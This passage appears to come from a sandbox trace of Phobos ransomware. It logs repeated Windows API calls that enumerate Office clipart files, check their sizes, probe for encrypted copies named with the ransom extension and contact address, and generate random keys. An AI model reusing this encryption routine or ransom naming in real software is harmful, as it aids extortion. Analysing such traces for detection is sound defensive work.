lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.618] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=1528) returned 1 [0149.618] CloseHandle (hObject=0x580) returned 1 [0149.618] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00334_.wmf")) returned 0x220 [0149.618] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00334_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.618] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00334_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.619] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0149.619] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00443_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.633] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=3298) returned 1 [0149.633] CloseHandle (hObject=0x580) returned 1 [0149.633] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00443_.wmf")) returned 0x220 [0149.633] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00443_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.633] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00443_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.634] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0149.634] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00513_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.634] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=818) returned 1 [0149.634] CloseHandle (hObject=0x580) returned 1 [0149.634] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00513_.wmf")) returned 0x220 [0149.634] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00513_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.634] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00513_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.635] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0149.635] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00524_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.679] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=14688) returned 1 [0149.679] CloseHandle (hObject=0x580) returned 1 [0149.679] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00524_.wmf")) returned 0x220 [0149.679] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00524_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.679] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00524_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.680] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0149.680] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00526_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.682] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=13538) returned 1 [0149.682] CloseHandle (hObject=0x580) returned 1 [0149.682] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00526_.wmf")) returned 0x220 [0149.682] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00526_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.682] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00526_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.683] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0149.683] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00527_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.683] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=5798) returned 1 [0149.683] CloseHandle (hObject=0x580) returned 1 [0149.683] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00527_.wmf")) returned 0x220 [0149.683] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00527_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.684] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00527_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.684] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0149.684] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00546_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.685] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=3718) returned 1 [0149.685] CloseHandle (hObject=0x580) returned 1 [0149.685] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00546_.wmf")) returned 0x220 [0149.685] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00546_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.685] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00546_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.685] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0149.686] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00601_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.686] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=1468) returned 1 [0149.686] CloseHandle (hObject=0x580) returned 1 [0149.686] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00601_.wmf")) returned 0x220 [0149.686] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00601_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.686] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00601_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.687] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0149.687] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00602_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.687] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=1400) returned 1 [0149.687] CloseHandle (hObject=0x580) returned 1 [0149.687] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00602_.wmf")) returned 0x220 [0149.688] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00602_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.688] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00602_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.688] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0149.688] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00612_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.689] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=12632) returned 1 [0149.689] CloseHandle (hObject=0x580) returned 1 [0149.689] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00612_.wmf")) returned 0x220 [0149.689] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00612_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.690] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00612_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.690] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0149.690] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00623_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.690] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=10644) returned 1 [0149.690] CloseHandle (hObject=0x580) returned 1 [0149.690] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00623_.wmf")) returned 0x220 [0149.690] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00623_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.690] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00623_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.691] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0149.691] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00625_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.691] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=2116) returned 1 [0149.691] CloseHandle (hObject=0x580) returned 1 [0149.691] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00625_.wmf")) returned 0x220 [0149.691] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00625_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.691] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00625_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.692] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0149.692] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00636_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.692] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=1568) returned 1 [0149.692] CloseHandle (hObject=0x580) returned 1 [0149.692] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00636_.wmf")) returned 0x220 [0149.692] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00636_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.692] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00636_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.693] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0149.693] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00669_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.693] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=11490) returned 1 [0149.693] CloseHandle (hObject=0x580) returned 1 [0149.694] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00669_.wmf")) returned 0x220 [0149.694] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00669_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.694] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00669_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.694] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0149.694] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00681_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.694] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=9300) returned 1 [0149.694] CloseHandle (hObject=0x580) returned 1 [0149.695] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00681_.wmf")) returned 0x220 [0149.695] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00681_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.695] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00681_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.695] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0149.695] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00685_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.695] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=4032) returned 1 [0149.695] CloseHandle (hObject=0x580) returned 1 [0149.695] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00685_.wmf")) returned 0x220 [0149.696] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00685_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.696] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00685_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.696] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0149.696] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00687_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.696] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=4340) returned 1 [0149.696] CloseHandle (hObject=0x580) returned 1 [0149.696] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00687_.wmf")) returned 0x220 [0149.696] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft 